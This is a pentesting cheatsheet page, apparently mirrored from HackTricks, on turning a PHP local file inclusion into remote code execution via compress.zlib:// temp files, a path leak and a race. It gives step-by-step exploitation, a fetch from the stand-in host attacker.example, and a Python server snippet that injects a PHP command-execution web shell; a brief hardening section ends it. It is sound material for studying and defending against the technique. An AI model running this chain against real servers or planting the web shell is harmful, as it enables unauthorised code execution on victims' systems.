repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
lfi2rce-via-compress-zlib-php-stream-prefer-studio-path-disclosure.mdMarkdown96 lines7.5 KiBsource raw download

title: "LFI2RCE Via compress.zlib + PHPSTREAMPREFERSTDIO + Path Disclosure" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-%2B-php_stream_prefer_studio-%2B-path-disclosure.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STDIO + Path Disclosure#

compress.zlib:// and PHP_STREAM_PREFER_STDIO#

The interesting file is the seekability backing file, not a file containing decompressed output. In current php-src, php_stream_gzopen() opens the resource nested after compress.zlib:// with STREAM_MUST_SEEK | STREAM_WILL_CAST. When that inner resource is a non-seekable HTTP stream, PHP selects PHP_STREAM_PREFER_STDIO, creates a real temporary file with php_stream_fopen_tmpfile(), and copies the raw HTTP response body into it before zlib reads from it.[1][3]

The relevant call chain remains:

innerstream = php_stream_open_wrapper_ex(path, mode,
    STREAM_MUST_SEEK | options | STREAM_WILL_CAST,
    opened_path, context);

/* _php_stream_make_seekable() */
*newstream = php_stream_fopen_tmpfile();

Therefore, a call such as the following can make PHP fetch an attacker-controlled response and stage its entity body in a named temporary file while the upstream connection remains incomplete:

file_get_contents("compress.zlib://http://attacker.example/payload")

The bytes appended by the attacker must be raw PHP bytes, not another gzip member. The later LFI includes the temporary backing file by its local pathname, so it parses the raw HTTP body stored before decompression. Sending gzip-compressed PHP would only place gzip bytes in the file being included.[1]

Exploitation requirements#

This technique normally needs all of the following.[1][3][4]

If only a plain LFI is available and there is no wrapper-controlled fetch or path leak, use a technique matching the available primitive, such as phpinfo() temporary uploads, temporary file upload races, or eternal waiting.

Race condition to RCE#

The hxp 36C3 CTF includer challenge demonstrated the complete chain.[1]

  1. Start request A with file=compress.zlib://http://attacker/....
  2. Reply with valid HTTP headers, advertise a body longer than the harmless prefix, send only benign raw bytes, and keep the socket open. PHP creates and progressively fills its seekable temporary backing file.
  3. Disclose the temporary directory and exact php... filename while request A is blocked. In the original challenge, a long attacker-controlled response field also filled PHP's output buffer so the random directory was returned before the request completed.
  4. Start request B using the literal temporary pathname. Its file_get_contents() validation sees only the harmless prefix.
  5. Immediately append raw <?php ... ?> bytes through request A's still-open upstream socket.
  6. Win the race so request B executes the changed file in its subsequent include_once().

A minimal attacker-controlled HTTP endpoint behaves like this:

conn.sendall(b"HTTP/1.1 200 OK\r\n"
             b"Content-Length: 100000\r\n"
             b"Connection: close\r\n\r\nSAFE\n")
# Leak the php... path and start the local check/include request here.
wait_for_check_request()
conn.sendall(b'<?php system($_GET["cmd"]); ?>')

The large declared Content-Length is a synchronization primitive: it prevents PHP from observing end-of-body after the safe prefix. Do not close the connection until the payload has been copied and the competing local include has run.[1]

Common failure cases#

Hardening#

Do not pass user-controlled wrapper strings to filesystem functions or dynamic includes. Map an allowlisted identifier to a canonical local file and eliminate content-check-then-include patterns. Disable allow_url_fopen when remote filesystem access is unnecessary,[4] and prevent web access or directory indexing of PHP temporary directories. These controls remove the wrapper fetch, pathname oracle, or mutable-code race needed by the chain.

References#